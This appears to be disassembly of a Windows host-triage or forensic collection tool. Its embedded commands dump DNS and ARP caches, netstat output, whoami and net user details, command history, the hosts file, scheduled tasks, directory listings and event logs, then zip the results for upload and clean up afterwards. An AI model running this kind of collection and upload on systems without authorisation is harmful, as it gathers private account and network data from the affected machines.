mov ecx, str._c_reg_ADD_HKCUSoftwareSysinternalshandle__v_EulaAccepted__t_REG_DWORD__d_1__f
call fcn.00402330
mov ecx, str._a__c_chcp_65001__handle.exe__v___handle.log
call fcn.00402330
inc dword [0x49ea10]
push 0x3e8
call edi
lea ecx, [ebp - 0x3510]
mov byte [ebp - 4], 0xb9
call fcn.00413400
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3624]
call fcn.004148e0
add esp, 4
push str.__Info__DnsCache_16_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0xc0
lea ecx, [ebp - 0x35e8]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3624]
mov byte [ebp - 4], 0xc2
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x35e8]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._a__c_chcp_65001__ipconfig__displaydns___dnsCache.log
call fcn.00402330
inc dword [0x49ea10]
push 0x3e8
call edi
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3684]
call fcn.004148e0
add esp, 4
push str.__Info__netstat_17_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0xc3
lea ecx, [ebp - 0x3624]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3684]
mov byte [ebp - 4], 0xc5
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3624]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._a__c_chcp_65001___SystemRoot_System32_netstat__anob___netstat.log
call fcn.00402330
inc dword [0x49ea10]
push 0x3e8
call edi
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x369c]
call fcn.004148e0
add esp, 4
push str.__Info__whoami_18_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0xc6
lea ecx, [ebp - 0x3684]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x369c]
mov byte [ebp - 4], 0xc8
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3684]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._a__c_chcp_65001__WHOAMI__ALL___whoami.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__net_user____whoami.log
call fcn.00402330
inc dword [0x49ea10]
push 0x3e8
call edi
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3510]
call fcn.004148e0
add esp, 4
push str.__Info__hosts_19_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0xc9
lea ecx, [ebp - 0x369c]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3510]
mov byte [ebp - 4], 0xcb
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x369c]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._c_copy__SystemRoot__system32driversetchosts_hosts.log
call fcn.00402330
inc dword [0x49ea10]
push 0x3e8
call edi
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3570]
call fcn.004148e0
add esp, 4
push str.__Info__arpCache_20_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0xcc
lea ecx, [ebp - 0x35b8]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3570]
mov byte [ebp - 4], 0xce
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x35b8]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._a__c_chcp_65001__arp__a__v___arpCache.log
call fcn.00402330
inc dword [0x49ea10]
push 0x3e8
call edi
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x35a0]
call fcn.004148e0
add esp, 4
push str.__Info__cmdHistory_21_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0xcf
lea ecx, [ebp - 0x3558]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35a0]
mov byte [ebp - 4], 0xd1
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3558]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._c_doskey__history___cmdHistory.log
call fcn.00402330
inc dword [0x49ea10]
push 0x3e8
call edi
cmp byte [0x4a0229], 0
je 0x410829
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3570]
call fcn.004148e0
add esp, 4
push str.__Info__schtasks_22_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0xd2
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3570]
mov byte [ebp - 4], 0xd4
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._a__c_chcp_65001__schtasks__query___schtasks.log
call fcn.00402330
inc dword [0x49ea10]
push 0x3e8
call edi
lea ecx, [ebp - 0x3510]
mov byte [ebp - 4], 0xd1
call fcn.00413400
cmp byte [0x4a022d], 0
je 0x410911
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3570]
call fcn.004148e0
add esp, 4
push str.__Info__ctc_23_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0xd5
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3570]
mov byte [ebp - 4], 0xd7
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._a__c_chcp_65001__dir__a__r__q__ong__tc___SystemRoot_.__2_nul___ctc.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__a__r__s__q__ong__tc___SystemRoot_Prefetch.__2_nul____ctc.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__a__r__s__q__ong__tc___SystemRoot_Temp.__2_nul____ctc.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__a__r__s__q__ong__tc___SystemRoot_System32.__2_nul____ctc.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__a__r__s__q__ong__tc___SystemRoot_System.__2_nul____ctc.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__a__r__s__q__ong__tc___SystemRoot_SoftwareDistribution.__2_nul____ctc.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__a__r__s__q__ong__tc___SystemRoot_SystemTemp.__2_nul____ctc.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__a__r__s__q__ong__tc___Appdata_..LocalTemp.__2_nul____ctc.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__a__r__s__q__ong__tc___USERPROFILE_Downloads.__2_nul____ctc.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__a__r__q__ong__tc___USERPROFILE_Desktop.__2_nul____ctc.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__a__r__q__ong__tc___USERPROFILE_Documents.__2_nul____ctc.log
call fcn.00402330
inc dword [0x49ea10]
push 0x3e8
call edi
jmp 0x41096f
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3570]
call fcn.004148e0
add esp, 4
push str.__Info__ctc_23_25__Disable____record.log
mov edx, eax
mov byte [ebp - 4], 0xd8
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3570]
mov byte [ebp - 4], 0xda
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
lea ecx, [ebp - 0x3510]
mov byte [ebp - 4], 0xd1
call fcn.00413400
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3528]
call fcn.004148e0
add esp, 4
push str.__Info__team5_log_copy_24_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0xdb
lea ecx, [ebp - 0x3540]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3528]
mov byte [ebp - 4], 0xdd
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3540]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._c_copy__ProgramData_Task_sonarError.log_sonarError.log
call fcn.00402330
mov ecx, str._c_copy__ProgramData_Task_sonar.log_sonar.log
call fcn.00402330
inc dword [0x49ea10]
push 0x3e8
call edi
cmp byte [0x4a0227], 0
je 0x410ae9
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3510]
call fcn.004148e0
add esp, 4
push str.__Info__ok.txt____record.log
mov edx, eax
mov byte [ebp - 4], 0xde
lea ecx, [ebp - 0x3570]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3510]
mov byte [ebp - 4], 0xe0
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3570]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x35a0]
call fcn.004148e0
add esp, 0x1c
push str.__Info__ok.txt____OK.txt
mov edx, eax
mov byte [ebp - 4], 0xe1
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35a0]
mov byte [ebp - 4], 0xe3
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._c_copy_OK.txt_C:TempissduOK.txt
call fcn.00402330
push 0x3e8
call edi
lea ecx, [ebp - 0x3510]
call fcn.00413400
lea ecx, [ebp - 0x3570]
mov byte [ebp - 4], 0xdd
call fcn.00413400
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3964]
call fcn.004148e0
add esp, 4
push str.__Info__Checking_25_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0xe4
lea ecx, [ebp - 0x3588]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3964]
mov byte [ebp - 4], 0xe6
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3588]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
lea ecx, [ebp - 0x34f0]
push str.OS.log
call fcn.004134d0
push str.file_windows.csv.log
lea ecx, [ebp - 0x34d8]
mov byte [ebp - 4], 0xe7
call fcn.004134d0
push str.GPO.log
lea ecx, [ebp - 0x34c0]
mov byte [ebp - 4], 0xe8
call fcn.004134d0
push str.GPOSec.log
lea ecx, [ebp - 0x34a8]
mov byte [ebp - 4], 0xe9
call fcn.004134d0
push str.IP.log
lea ecx, [ebp - 0x3490]
mov byte [ebp - 4], 0xea
call fcn.004134d0
push str.Antivirus.log
lea ecx, [ebp - 0x3478]
mov byte [ebp - 4], 0xeb
call fcn.004134d0
push str.AntivirusAll.log
lea ecx, [ebp - 0x3460]
mov byte [ebp - 4], 0xec
call fcn.004134d0
push str.autoruns_csv.log
lea ecx, [ebp - 0x3448]
mov byte [ebp - 4], 0xed
call fcn.004134d0
push str.ProductVer.log
lea ecx, [ebp - 0x3430]
mov byte [ebp - 4], 0xee
call fcn.004134d0
push str.Product.log
lea ecx, [ebp - 0x3418]
mov byte [ebp - 4], 0xef
call fcn.004134d0
push str.ProductVer_log.log
lea ecx, [ebp - 0x3400]
mov byte [ebp - 4], 0xf0
call fcn.004134d0
mov byte [ebp - 4], 0xf1
push str.HotFix.log
lea ecx, [ebp - 0x33e8]
call fcn.004134d0
push str.listdlls.log
lea ecx, [ebp - 0x33d0]
mov byte [ebp - 4], 0xf2
call fcn.004134d0
push str.pslist.log
lea ecx, [ebp - 0x33b8]
mov byte [ebp - 4], 0xf3
call fcn.004134d0
push str.handle.log
lea ecx, [ebp - 0x33a0]
mov byte [ebp - 4], 0xf4
call fcn.004134d0
push 0x4950d8
mov edx, 0x49ebac
mov byte [ebp - 4], 0xf5
lea ecx, [ebp - 0x3570]
call fcn.004149f0
add esp, 4
push 0x4a0230
mov edx, eax
mov byte [ebp - 4], 0xf6
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
push str..xml.log
mov edx, eax
mov byte [ebp - 4], 0xf7
lea ecx, [ebp - 0x3388]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3510]
call fcn.00413400
lea ecx, [ebp - 0x3570]
mov byte [ebp - 4], 0xfa
call fcn.00413400
push str.dnsCache.log
lea ecx, [ebp - 0x3370]
call fcn.004134d0
push str.netstat.log
lea ecx, [ebp - 0x3358]
mov byte [ebp - 4], 0xfb
call fcn.004134d0
push str.whoami.log
lea ecx, [ebp - 0x3340]
mov byte [ebp - 4], 0xfc
call fcn.004134d0
push str.hosts.log
lea ecx, [ebp - 0x3328]
mov byte [ebp - 4], 0xfd
call fcn.004134d0
push str.cmdHistory.log
lea ecx, [ebp - 0x3310]
mov byte [ebp - 4], 0xfe
call fcn.004134d0
push str.arpCache.log
lea ecx, [ebp - 0x32f8]
mov byte [ebp - 4], 0xff
call fcn.004134d0
push str.schtasks.log
lea ecx, [ebp - 0x32e0]
mov dword [ebp - 4], 0x100
call fcn.004134d0
mov byte [ebp - 4], 1
push str.ctc.log
lea ecx, [ebp - 0x32c8]
call fcn.004134d0
push str.sonarError.log
lea ecx, [ebp - 0x32b0]
mov byte [ebp - 4], 2
call fcn.004134d0
push str.sonar.log
lea ecx, [ebp - 0x3298]
mov byte [ebp - 4], 3
call fcn.004134d0
push str.x86Product.log
lea ecx, [ebp - 0x3280]
mov byte [ebp - 4], 4
call fcn.004134d0
push str.x64Product.log
lea ecx, [ebp - 0x3268]
mov byte [ebp - 4], 5
call fcn.004134d0
push str.Secevent.evtx
lea ecx, [ebp - 0x3250]
mov byte [ebp - 4], 6
call fcn.004134d0
push str.Sysevent.evtx
lea ecx, [ebp - 0x3238]
mov byte [ebp - 4], 7
call fcn.004134d0
mov ecx, str._c_del__f__q_ProductPath.log
mov dword [ebp - 4], 0x108
call fcn.00402330
lea esi, [ebp - 0x34f0]
mov edi, 0x1e
nop word [eax + eax]
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3528]
call fcn.004148e0
add esp, 4
push str.__Warn__Not_Found
mov edx, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x35a0]
call fcn.00414940
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x3570]
call fcn.00414a70
add esp, 4
push 0x495048
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3570]
call fcn.00413400
lea ecx, [ebp - 0x35a0]
call fcn.00413400
lea ecx, [ebp - 0x3528]
mov byte [ebp - 4], 0xf
call fcn.00413400
mov ecx, esi
call fcn.00413390
mov edx, eax
lea ecx, [ebp - 0x58]
call fcn.00414ff0
lea eax, [ebp - 0x58]
push 0
push eax
call fcn.0045bbda
add esp, 8
cmp eax, 0xffffffff
jne 0x410ed6
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
lea ecx, [ebp - 0x3510]
mov byte [ebp - 4], 8
call fcn.00413400
add esi, 0x18
sub edi, 1
jne 0x410e10
inc dword [0x49ea10]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3510]
call fcn.004148e0
add esp, 4
push str.__Info__Archive____record.log
mov edx, eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x3528]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3510]
mov byte [ebp - 4], 0x12
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3528]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
call fcn.00404320
push 0xbb8
call edi
push 0x49ebac
mov edx, str.C:Tempissdu_
lea ecx, [ebp - 0x38d4]
call fcn.004148e0
add esp, 4
push 0x4950d8
mov edx, eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x388c]
call fcn.00414940
add esp, 4
push 0x4a0230
mov edx, eax
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x38bc]
call fcn.00414940
add esp, 4
push 0x4950d8
mov edx, eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x35a0]
call fcn.00414940
add esp, 4
push 0x4a0240
mov edx, eax
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x3570]
call fcn.00414940
add esp, 4
push str..zip
mov edx, eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x379c]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3570]
call fcn.00413400
lea ecx, [ebp - 0x35a0]
call fcn.00413400
lea ecx, [ebp - 0x38bc]
call fcn.00413400
lea ecx, [ebp - 0x388c]
call fcn.00413400
lea ecx, [ebp - 0x38d4]
mov byte [ebp - 4], 0x1d
call fcn.00413400
push ecx
mov edx, 0x49ea44
lea ecx, [ebp - 0x3934]
call fcn.00414b20
add esp, 4
push 0x4950d8
mov edx, eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x38ec]
call fcn.00414940
add esp, 4
push 0x4a0230
mov edx, eax
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x3904]
call fcn.00414940
add esp, 4
push 0x4950d8
mov edx, eax
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x391c]
call fcn.00414940
add esp, 4
push 0x4a0240
mov edx, eax
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x394c]
call fcn.00414940
add esp, 4
push str..zip
mov edx, eax
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x37b4]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x394c]
call fcn.00413400
lea ecx, [ebp - 0x391c]
call fcn.00413400
lea ecx, [ebp - 0x3904]
call fcn.00413400
lea ecx, [ebp - 0x38ec]
call fcn.00413400
lea ecx, [ebp - 0x3934]
mov byte [ebp - 4], 0x28
call fcn.00413400
lea ecx, [ebp - 0x379c]
call fcn.00413390
mov edx, eax
lea ecx, [ebp - 0x1d8]
call fcn.00415000
push 0xbb8
call edi
mov ecx, str._a__c_chcp_65001__dir__b_.zip___ziplog.txt
call fcn.00402330
call fcn.004024b0
lea eax, [ebp - 0x1d8]
push 0
push eax
call fcn.0045bbda
add esp, 8
push 0x49eaec
lea ecx, [ebp - 0x3600]
mov edx, 0x494e24
cmp eax, 0xffffffff
je 0x411261
call fcn.004148e0
add esp, 4
push str.__Info__Zip_exist_in_C:Tempissdu_
mov edx, eax
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x38a4]
call fcn.00414940
add esp, 4
push 0x49ebac
mov edx, eax
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x35a0]
call fcn.00414a70
add esp, 4
push 0x4950d8
mov edx, eax
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x3570]
call fcn.00414940
add esp, 4
push 0x4a0230
mov edx, eax
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x38bc]
call fcn.00414940
add esp, 4
push 0x4950d8
mov edx, eax
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x388c]
call fcn.00414940
add esp, 4
push 0x4a0240
mov edx, eax
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x38d4]
call fcn.00414940
add esp, 4
push str..zip____record.log
mov edx, eax
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x38d4]
call fcn.00413400
lea ecx, [ebp - 0x388c]
call fcn.00413400
lea ecx, [ebp - 0x38bc]
call fcn.00413400
lea ecx, [ebp - 0x3570]
call fcn.00413400
lea ecx, [ebp - 0x35a0]
call fcn.00413400
lea ecx, [ebp - 0x38a4]
call fcn.00413400
mov byte [ebp - 4], 0x37
jmp 0x411286
call fcn.004148e0
add esp, 4
push str.__Warn__Zip_not_exist_in_C:Tempissdu____record.log
mov edx, eax
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x3600]
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x3510]
call fcn.00413400
lea ecx, [ebp - 0x37b4]
call fcn.00413390
mov edx, eax
lea ecx, [ebp - 0x1d8]
call fcn.00415000
call fcn.004024b0
lea eax, [ebp - 0x1d8]
push 0
push eax
call fcn.0045bbda
add esp, 8
mov edx, 0x494e24
push 0x49eaec
cmp eax, 0xffffffff
je 0x411423
lea ecx, [ebp - 0x30]
call fcn.004148e0
add esp, 4
push str.__Info__Zip_exist_in
mov edx, eax
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x35a0]
call fcn.00414940
add esp, 4
push 0x49ea44
mov edx, eax
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x3570]
call fcn.00414a70
add esp, 4
push 0x49ebac
mov edx, eax
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x38bc]
call fcn.00414a70
add esp, 4
push 0x4950d8
mov edx, eax
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x388c]
call fcn.00414940
add esp, 4
push 0x4a0230
mov edx, eax
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x38d4]
call fcn.00414940
add esp, 4
push 0x4950d8
mov edx, eax
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x38a4]
call fcn.00414940
add esp, 4
push 0x4a0240
mov edx, eax
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x3600]
call fcn.00414940
add esp, 4
push str..zip____record.log
mov edx, eax
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3600]
call fcn.00413400
lea ecx, [ebp - 0x38a4]
call fcn.00413400
lea ecx, [ebp - 0x38d4]
call fcn.00413400
lea ecx, [ebp - 0x388c]
call fcn.00413400
lea ecx, [ebp - 0x38bc]
call fcn.00413400
lea ecx, [ebp - 0x3570]
call fcn.00413400
lea ecx, [ebp - 0x35a0]
call fcn.00413400
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0x30]
jmp 0x411496
lea ecx, [ebp - 0x38a4]
call fcn.004148e0
add esp, 4
push str.__Warn__Zip_not_exist_in
mov edx, eax
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x3600]
call fcn.00414940
add esp, 4
push 0x49ea44
mov edx, eax
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x30]
call fcn.00414a70
add esp, 4
push 0x495048
mov edx, eax
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x30]
call fcn.00413400
lea ecx, [ebp - 0x3600]
call fcn.00413400
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x38a4]
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x3510]
call fcn.00413400
inc dword [0x49ea10]
push 0x3e8
call edi
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x30]
call fcn.004148e0
add esp, 4
push str.__Info__Upload____record.log
mov edx, eax
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x35a0]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x55
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x35a0]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
cmp byte [0x4a0254], 0
jne 0x4115a0
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3600]
call fcn.004148e0
add esp, 4
push str.__Warn__Upload_to_Localhost____record.log
mov edx, eax
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3600]
mov byte [ebp - 4], 0x58
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x3510]
call fcn.00413400
jmp 0x4115dd
cmp byte [0x4a025a], 0
je 0x4115b3
call fcn.00407160
call fcn.00404320
cmp byte [0x4a0251], 0
je 0x4115c1
call fcn.00408ad0
cmp byte [0x4a0226], 0
je 0x4115cf
call fcn.0040a290
cmp byte [0x4a025c], 0
je 0x4115dd
call fcn.0040c220
inc dword [0x49ea10]
push 0x3e8
call edi
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3600]
call fcn.004148e0
add esp, 4
push str.__Info__Cleanup____record.log
mov edx, eax
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0x3570]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3600]
mov byte [ebp - 4], 0x5b
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3570]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
mov ecx, str._c_taskkill__f__im_DSWAgent.exe
call fcn.00402330
mov ecx, str._c_reg_DELETE_HKCUSoftwareSysinternals__f
call fcn.00402330
call fcn.00405240
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x30]
call fcn.004148e0
add esp, 0x1c
push str.__Info__Finish____record.log
mov edx, eax
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x5e
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
inc dword [0x49ea10]
lea ecx, [ebp - 0x3510]
add esp, 0x18
call fcn.00413400
lea ecx, [ebp - 0x3570]
call fcn.00413400
lea ecx, [ebp - 0x35a0]
call fcn.00413400
lea ecx, [ebp - 0x37b4]
call fcn.00413400
lea ecx, [ebp - 0x379c]
call fcn.00413400
lea ecx, [ebp - 0x3528]
call fcn.00413400
push fcn.00413400
push 0x1e
push 0x18
lea eax, [ebp - 0x34f0]
mov dword [ebp - 4], 0xe6
push eax
call fcn.00455d61
lea ecx, [ebp - 0x3588]
call fcn.00413400
lea ecx, [ebp - 0x3540]
call fcn.00413400
lea ecx, [ebp - 0x3558]
call fcn.00413400
lea ecx, [ebp - 0x35b8]
call fcn.00413400
lea ecx, [ebp - 0x369c]
call fcn.00413400
lea ecx, [ebp - 0x3684]
call fcn.00413400
lea ecx, [ebp - 0x3624]
call fcn.00413400
lea ecx, [ebp - 0x35e8]
call fcn.00413400
lea ecx, [ebp - 0x36d8]
call fcn.00413400
lea ecx, [ebp - 0x35d0]
call fcn.00413400
lea ecx, [ebp - 0x376c]
call fcn.004131d0
lea ecx, [ebp - 0x3754]
call fcn.004131d0
lea ecx, [ebp - 0x373c]
call fcn.004131d0
lea ecx, [ebp - 0x3784]
call fcn.004131d0
lea ecx, [ebp - 0x3654]
call fcn.00413400
lea ecx, [ebp - 0x363c]
call fcn.00413400
lea ecx, [ebp - 0x36c0]
call fcn.00413400
lea ecx, [ebp - 0x366c]
call fcn.00413400
lea ecx, [ebp - 0x3708]
call fcn.00413400
lea ecx, [ebp - 0x3724]
call fcn.00413400
lea ecx, [ebp - 0x36f0]
call fcn.00413400
lea ecx, [ebp - 0x3870]
call fcn.00403870
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00455c59
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00401470
call fcn.0045dd38
call fcn.0045dd38
call fcn.00401470
call fcn.0045dd38
call fcn.00401470
call fcn.0045dd38
call fcn.00401470
call fcn.0045dd38
call fcn.00401470
call fcn.0045dd38
call fcn.00401470
call fcn.0045dd38
call fcn.0045dd38
call fcn.0045dd38
call fcn.0045dd38
call fcn.0045dd38
call fcn.0045dd38
call fcn.00401470
call fcn.00401470
call fcn.0045dd38
call fcn.0045dd38
call fcn.0045dd38
call fcn.0045dd38
call fcn.00401470
call fcn.00401470
call fcn.0045dd38
call fcn.0045dd38
call fcn.0045dd38
call fcn.0045dd38
call fcn.0045dd38
call fcn.00401470
call fcn.0045dd38
call fcn.0045dd38
call fcn.0045dd38
call fcn.0045dd38
call fcn.00401470
int3